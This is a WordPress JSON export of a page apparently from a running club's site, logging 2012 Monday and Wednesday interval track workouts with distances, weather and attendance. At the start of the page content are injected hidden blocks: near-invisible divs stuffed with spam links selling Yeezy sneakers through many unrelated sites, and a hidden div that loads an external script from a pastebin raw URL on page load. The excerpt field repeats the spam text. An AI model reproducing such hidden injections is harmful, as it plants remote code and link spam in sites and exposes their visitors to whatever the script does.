{"id":400,"date":"2012-01-02T11:55:13","date_gmt":"2012-01-02T19:55:13","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=400"},"modified":"2017-02-04T22:31:36","modified_gmt":"2017-02-05T06:31:36","slug":"2012-5","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=400","title":{"rendered":"2012"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/www.redpathmining.com\/yeezy350-zebra-sale.html\">yeezy boost 350 v2 for sale<\/a><a href=\"http:\/\/ossory.ie\/yeezy-boost-v2-zebra.html\">yeezy boost 350 v2 buy<\/a><a href=\"http:\/\/funtanir.it\/vendita-yeezy-boost-350-v2-nero.html\">scarpe Yeezy Boost 350 V2 Nero Comprare<\/a><a href=\"http:\/\/www.cliftonhall.com\/wp-content\/news\/uk-yeezy-boost-350-v2-black-red-2017.html\">yeezy boost 350 v2 black red uk for sale<\/a><a href=\"http:\/\/taiiwinsmienphi.com\/yeezy-boost-350-v2-white\/\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/www.iran.pezeshk.us\/yeezy-350-v2-black-by605.html\">Adidas Yeezy Boost 350 V2 Black<\/a><a href=\"http:\/\/fotoya.ir\/yeezys-boost-sale.html\">adidas yeezy boost 350<\/a><a href=\"http:\/\/carolinahomeexteriors.com\/_yeezysboost\/\">yeezy boost 350 v2<\/a><a href=\"http:\/\/www.metal-design-concept.com\/yeezy-boost-350-for-sale\/\">adidas yeezy boost 350<\/a><a href=\"http:\/\/www.grupoandria.es\/buy-yeezy-boost-350-white-black\/\">yeezy boost 350 v2 white black for sale<\/a><a href=\"http:\/\/emptybowlhawaii.org\/shop-yeezy-boost-350\/\">yeezy boost 350 v2 buy<\/a><a href=\"http:\/\/www.southernpines.biz\/us\/buy-yeezy-boost-350.html\">yeezy boost 350 v2 black red<\/a><a href=\"http:\/\/hotelmontjoli.net\/buy-yeezy-350-black-red\/\">adidas yeezy boost 350<\/a><a href=\"http:\/\/www.fangoria.com\/350.html\">yeezy boost 350 for sale<\/a><a href=\"http:\/\/www.usapa.org\/boost350.php\">yeezy boost 350 v2 for sale<\/a><a href=\"http:\/\/1stlady.com.my\/buy-yeezy-boost-350-v2\/\">http:\/\/1stlady.com.my\/buy-yeezy-boost-350-v2\/<\/a><a href=\"http:\/\/www.bookmasters.com\/yeezy-boost-sply-350.html\">yeezy boost 350 for sale<\/a><a href=\"http:\/\/outcast-films.com\/news\/yeezy-boost-v2-black-red-sply-350.html\">adidas yeezy boost 350 v2<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/yeezyboost350v2s.us.com\">yeezy boost 350 v2<\/a><a href=\"http:\/\/yeezyboost350v2adidas.us.com\">yeezy boost 350 v2<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>Upcoming &#8211;<br \/>\n01\/02\/13 Wed &#8211; welcome back &#8211; go to 2013 for work-out<br \/>\n12\/31\/12 Mon &#8211; Happy New Year &#8211; no work-out<br \/>\n12\/26\/12 Wed &#8211; Merry Christmas &#8211; no work-out<br \/>\n12\/24\/12 Mon &#8211; Merry Christmas &#8211; no work-out<br \/>\n12\/19\/12 Wed &#8211; 2&#215;400; 2&#215;800; 2&#215;1,600 = 3.50 miles total<br \/>\nContinue increasing interval length and total miles; shorter recovery and slower pace<\/p>\n<p>Completed &#8211;<br \/>\n12\/31\/12 Mon &#8211; Happy New Year &#8211; no work-out<br \/>\n12\/26\/12 Wed &#8211; Merry Christmas &#8211; no work-out<br \/>\n12\/24\/12 Mon &#8211; Merry Christmas &#8211; no work-out<br \/>\n12\/19\/12 Wed &#8211; 2&#215;400; 2&#215;800; 2&#215;1,600 = 3.5 mi; lo 50&#8217;s;\u00a0 6 ran<br \/>\n12\/17\/12 Mon &#8211; 12&#215;400 = 3 mi; mid 50&#8217;s; 6 ran<br \/>\n12\/12\/12 Wed &#8211; 800; 3&#215;1,600 = 3.50 mi; hi 40&#8217;s; 4 ran<br \/>\n12\/10\/12 Mon &#8211; 3&#215;600; 2&#215;400; 3&#215;600 = 2.75 mi; lo 50&#8217;s 2 ran<br \/>\n12\/05\/12 Wed &#8211; 1,600; 800; 400; 800; 1,600 = 3.25 mi; mid 50&#8217;s<br \/>\n12\/03\/12 Mon &#8211; 400; 6&#215;600; 400 = 2.75 mi; mid 50&#8217;s;<br \/>\n11\/28\/12 Wed &#8211; 1,600; 2&#215;1,200; 800; 400 = 3.25 mi; hi 50&#8217;s, rain threat; 3 ran<br \/>\n11\/26\/12 Mon &#8211; 3&#215;400; 2&#215;800; 3&#215;400 = 2.5 mi; hi 50&#8217;s; 4 ran<br \/>\n11\/21\/12 Wed &#8211; 400; 2&#215;800; 2&#215;1,600 = 3.25 mi; lo 60&#8217;s; 4 ran<br \/>\n11\/19\/12 Mon &#8211; 3x(400; 800) = 2.25 mi; lo 60&#8217;s; 4 ran<br \/>\n11\/14\/12 Wed &#8211; 2&#215;1,200; 2&#215;1,600 = 3.25\u00a0 mi; lo 60&#8217;s; 4 ran<br \/>\n11\/12\/12 Mon &#8211; 400; 600; 2&#215;800; 600; 400\u00a0 = 2.25 mi; lo 60&#8217;s; 6 ran<br \/>\n11\/07\/12 Wed &#8211; 800; 2&#215;1,600; 800 = 3 mi; hi 50&#8217;s; 2 ran<br \/>\n11\/05\/12 Mon &#8211; 3&#215;400; 2&#215;800; 2&#215;400\u00a0 = 2.25 mi; lo 60&#8217;s; 4 ran<br \/>\n10\/31\/12 Wed &#8211; 400; 600; 800; 1,200; 800; 600; 400 = 3 mi; lo 60&#8217;s; 2 ran<br \/>\n10\/29\/12 Mon &#8211; 9&#215;400 = 2.25 mi; lo 60&#8217;s; 6 ran<br \/>\nStart increasing interval length and total miles; shorter recovery and easier pace<br \/>\n10\/24\/12 Wed &#8211; 6&#215;800 = 3 mi; mid 60&#8217;s; 5 ran<br \/>\n10\/22\/12 Mon &#8211; 8&#215;400 = 2 mi; lo 60&#8217;s, lt rain; 3 ran<br \/>\n10\/17\/12 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; hi 60&#8217;s; 7 ran<br \/>\n10\/15\/12 Mon &#8211; 400; 4x(400; 200); 400 = 2 mi; hi 60&#8217;s; 5 ran<br \/>\n10\/10\/12 Wed &#8211; 1,200; 3&#215;800; 3&#215;400 = 3 mi; lo 60&#8217;s, lt mist; 3 ran<br \/>\n10\/08\/12 Mon &#8211; 2&#215;600; 3&#215;400; 4&#215;200 = 2 mi; mid 60&#8217;s 3 ran<br \/>\n10\/03\/12 Wed &#8211; 3&#215;400; 2&#215;600; 3&#215;800 = 3 mi; mid 70&#8217;s; 7 ran<br \/>\n10\/01\/12 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.2 mi; mid 70&#8217;s; 3 ran<br \/>\n09\/26\/12 Wed &#8211; 6&#215;800 = 3 mi; mid 60&#8217;s; 7 ran<br \/>\n09\/24\/12 Mon &#8211; 8&#215;400 = 2 mi; mid 60&#8217;s; 3 ran<br \/>\n09\/19\/12 Wed &#8211; 400; 600; 800; 1,200; 800; 600; 400 = 3 mi; mid 60&#8217;s; 3 ran<br \/>\n09\/17\/12 Mon &#8211; 2&#215;400; 600; 800; 600; 400 = 2 mi; hi 60&#8217;s; 4 ran<br \/>\n09\/12\/12 Wed &#8211; 3&#215;600; 5x(300, 50 jog, 150 sprint); 3&#215;600 = 3.1 mi; lo 70&#8217;s; 5 ran<br \/>\n09\/10\/12 Mon &#8211; 800; 600; 400; 600; 800 = 2 mi; lo 70&#8217;s; 4 ran<br \/>\n09\/05\/12 Wed &#8211; 800; 2&#215;600; 2&#215;400; 2&#215;600; 800 = 3 mi; lo 70&#8217;s; 7 ran<br \/>\n09\/03\/12 Mon &#8211; Labor Day<br \/>\n08\/29\/12 Wed &#8211; 8&#215;600 = 3 mi; mid 70&#8217;s; 7 ran<br \/>\n08\/27\/12 Mon &#8211; 400; 4x(400; 200); 400 = 2 mi; mid 70&#8217;s; 4 ran<br \/>\n08\/22\/12 Wed &#8211; 4x(800; 400); 3 mi; mid 70&#8217;s; 3 ran<br \/>\n08\/20\/12 Mon &#8211; 8&#215;400 = 2 mi; mid 70&#8217;s; 3 ran<br \/>\n08\/15\/12 Wed &#8211; 2&#215;800; 400; 4&#215;200; 400; 2&#215;800 = 3 mi; mid 80&#8217;s; 5 ran<br \/>\n08\/13\/12 Mon &#8211; 3&#215;400; 3x(300, 50 jog, 150 sprint); 2&#215;400 = 2.2 mi; mid 80&#8217;s; 5 ran<br \/>\n08\/08\/12 Wed &#8211; 3&#215;600; 5x(300, 50 jog, 150 sprint); 3&#215;600 = 3.1 mi; hi 70&#8217;s; 5 ran<br \/>\n08\/06\/12 Mon &#8211; 400; 4x(400; 200); 400 = 2 mi; mid 70&#8217;s; 2 ran<br \/>\n08\/01\/12 Wed &#8211; 2x(800; 2&#215;400; 800)= 3 mi; hi 70&#8217;s; 4 ran<br \/>\n07\/30\/12 Mon &#8211; 2x(600; 400 ; 600) = 2 mi; lo 80&#8217;s; 3 ran<br \/>\n07\/25\/12 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; lo 70&#8217;s; 7 ran<br \/>\n07\/23\/12 Mon &#8211; 8&#215;400 = 2 mi; lo 70&#8217;s; 3 ran<br \/>\n07\/18\/12 Wed &#8211; 6 x 800 = 3 mi; mid 70&#8217;s; 2 ran<br \/>\n07\/16\/12 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; lo 80&#8217;s; 0 ran<br \/>\n07\/11\/12 Wed &#8211; 800; 2&#215;600; 2&#215;400; 2&#215;600; 800 = 3 mi; hi 70&#8217;s; _ ran<br \/>\n07\/09\/12 Mon &#8211; 3&#215;400; 3x(300, 50 jog, 150 sprint); 2&#215;400 = 2.2 mi; hi 70&#8217;s 4 ran<br \/>\n07\/04\/12 Wed &#8211; Went 4th of July racing<br \/>\n07\/02\/12 Mon &#8211; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600 = 2 mi; mid 70&#8217;s; 4 ran<br \/>\n06\/27\/12 Wed &#8211; 8&#215;600 = 3 mi; hi 70&#8217;s; 4 ran<br \/>\n06\/25\/12 Mon &#8211; 400; 4x(400; 200); 400 = 2 mi; mid 70&#8217;s; 3 ran<br \/>\n06\/20\/12 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; lo 70&#8217;s; 3 ran<br \/>\n06\/18\/12 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; hi 70&#8217;s; 3 ran<br \/>\n06\/13\/12 Wed &#8211; 800; 2x(1,200, 800) = 3 mi; mid 70&#8217;s; 5 ran<br \/>\n06\/11\/12 Mon &#8211; 3&#215;400; 3x(300, 50 jog, 150 sprint); 2&#215;400 = 2.2 mi; lo 70&#8217;s; 2 ran<br \/>\n06\/06\/12 Wed &#8211; 6&#215;800 = 3 mi; mid 70&#8217;s; 5 ran<br \/>\n06\/04\/12 Mon &#8211; RAIN! In June???<br \/>\n05\/30\/12 Wed &#8211; 800; 2&#215;600; 2&#215;400; 2&#215;600; 800 = 3 mi; lo 70&#8217;s; 7 ran<br \/>\n05\/28\/12 Mon &#8211; No work-out &#8211; Memorial Day<br \/>\n05\/23\/12 Wed &#8211; 800; 400; 800; 1,600; 800; 400; 800 = 3.5 mi; lo 70&#8217;s; 7 ran<br \/>\n05\/21\/12 Mon &#8211; 600; 400; 2&#215;200; 800; 2&#215;200; 400; 600 = 2.5 mi; lo 70&#8217;s; 3 ran<br \/>\n05\/16\/12 Wed &#8211; 2&#215;800; 400; 3x(300, 50 jog, 150 sprint); 400; 2&#215;800 = 3.4 mi; lo 70&#8217;s; 5 ran<br \/>\n05\/14\/12 Mon &#8211; 2&#215;600; 400; 4&#215;200; 400; 2&#215;600 = 2.5 mi; hi 60&#8217;s; 2 ran<br \/>\n05\/09\/12 Wed &#8211; 2&#215;800; 6&#215;400; 2&#215;800 = 3.5 mi; lo 70&#8217;s; 5 ran<br \/>\nChanging to speed focus &#8211; shorter intervals and total, faster pace and longer recovery.<br \/>\n05\/07\/12 Mon &#8211; cancelled; high school track meet<br \/>\n05\/02\/12 Wed &#8211; cancelled; high school track meet<br \/>\n04\/30\/12 Mon &#8211; 6&#215;800 = 3 mi; hi 60&#8217;s; 3 ran<br \/>\n04\/25\/12 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; lo 70&#8217;s; 7 ran<br \/>\n04\/23\/12 Mon &#8211; 12&#215;400 = 3 mi; lo 70&#8217;s; 3 ran<br \/>\n04\/18\/12 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; hi 60&#8217;s; 7 ran<br \/>\n04\/16\/12 Mon &#8211; 400; 2&#215;600; 2&#215;800; 2&#215;600; 400 = 3 mi; hi 60&#8217;s; 3 ran<br \/>\n04\/11\/12 Wed &#8211; 2&#215;1,200; 2&#215;800; 2&#215;1,200 = 4 mi; mid 50&#8217;s; 8 ran<br \/>\n04\/09\/12 Mon &#8211; 8&#215;600 = 3 mi; mid 50&#8217;s; 3 ran<br \/>\n04\/04\/12 Wed &#8211; 4&#215;1,600 = 4 mi; 60&#8217;s; 7 ran<br \/>\n04\/02\/12 Mon -4x(400; 800) = 3 mi; 60&#8217;s; 4 ran<br \/>\n03\/28\/12 Wed &#8211; 800 2&#215;1,200; 2&#215;1,600 = 4 mi; hi 50&#8217;s; 9 ran<br \/>\n03\/26\/12 Mon -2&#215;400; 4&#215;600; 2&#215;800 = 3 mi; hi 50&#8217;s; 3 ran<br \/>\n03\/21\/12 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; hi 50&#8217;s; 5 ran<br \/>\n03\/19\/12 Mon &#8211;\u00a012&#215;400 = 3 mi; hi 50&#8217;s; 4 ran<br \/>\n03\/15\/12 Wed &#8211; rained out<br \/>\n03\/13\/12 Mon &#8211; 2&#215;400; 4&#215;800; 2&#215;400 = 3 mi; lo 50&#8217;s; 8 ran<br \/>\n03\/08\/12 Wed &#8211; 4&#215;1,600 = 4 mi; lo 50&#8217;s; 5 ran<br \/>\n03\/06\/12 Mon &#8211; 6&#215;800 = 3 mi; lo 50&#8217;s; 3 ran<br \/>\n02\/29\/12 Wed &#8211; 2x(1,200; 800; 1,200) = 4 mi; lo 50&#8217;s; 3 ran<br \/>\n02\/27\/12 Mon &#8211;\u00a08&#215;600 = 3 mi; lo 50&#8217;s 4 ran<br \/>\n02\/22\/12 Wed &#8211; 800; 3&#215;1,600; 800 = 4 mi; mid 50&#8217;s; 4 ran<br \/>\n02\/20\/12 Mon &#8211; 4x(400; 800) = 3 mi; hi 50&#8217;s; 3 ran<br \/>\n02\/15\/12 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; mid 50&#8217;s; 6 ran<br \/>\n02\/13\/12 Mon &#8211; 6&#215;800 = 3 mi; rain; 1 ran<br \/>\n02\/08\/12 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; hi 50&#8217;s, 5 ran<br \/>\n02\/06\/12 Mon &#8211; 12&#215;400 = 3 mi; hi 50&#8217;s; 5 ran<br \/>\n02\/01\/12 Wed &#8211; 4&#215;1,600 = 4 mi; mid 50&#8217;s; 7 ran<br \/>\n01\/30\/12 Mon &#8211; 2&#215;400; 4&#215;800; 2&#215;400 = 3 mi; mid 50&#8217;s; 7 ran<br \/>\n01\/25\/12 Wed &#8211; 2x(1,200; 800; 1,200) = 4 mi; mid 50&#8217;s; 6 ran<br \/>\n01\/23\/12 Mon &#8211; 8&#215;600 = 3 mi; lo 50&#8217;s; 4 ran<br \/>\n01\/18\/12 Wed &#8211; 400; 800; 1,200; 1,600; 1,200; 800; 400 = 4 mi; lo 50&#8217;s; 8 ran<br \/>\n01\/16\/12 Mon &#8211; 4x(400; 800) = 3 mi; hi 40&#8217;s; 2 ran<br \/>\n01\/11\/12 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; lo 60&#8217;s; 5 ran<br \/>\n01\/09\/12 Mon &#8211; 3&#215;1,600 = 3 mi; lo 60&#8217;s; 4 ran<br \/>\n01\/04\/12 Wed &#8211; 4\u00d71,600 = 4 mi; lo 60&#8217;s; 5 ran<br \/>\n01\/02\/12 Mon &#8211; 6&#215;800 = 3 mi; hi 50&#8217;s; 3 ran<br \/>\nThis first week of 2012 begins 6 to 8 weeks of long, slower, intervals with short recoveries to focus on endurance. Intervals will total 3 miles on Mondays and 4 on Wednesdays<br \/>\nEnd of 2011. 2012 begins 3 total miles on Mondays and 4 on Wednesdays<br \/>\n12\/28\/11 Wed &#8211;\u00a01,200; 3\u00d71,600 = 3 3\/4 mi; lo 50&#8217;s; 5 ran<br \/>\n12\/26\/11 Mon &#8211; 800; 3x(400; 800) = 2 3\/4 mi; hi 40&#8217;s; 4 ran<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 v2 for saleyeezy boost 350 v2 buyscarpe Yeezy Boost 350 V2 Nero Comprareyeezy boost 350 v2 black red uk for saleyeezy boost 350 triple whiteAdidas Yeezy Boost 350 V2 Blackadidas yeezy boost 350yeezy boost 350 v2adidas yeezy &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=400\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":42,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-400","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-6s","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/400","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=400"}],"version-history":[{"count":118,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/400\/revisions"}],"predecessor-version":[{"id":1647,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/400\/revisions\/1647"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=400"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}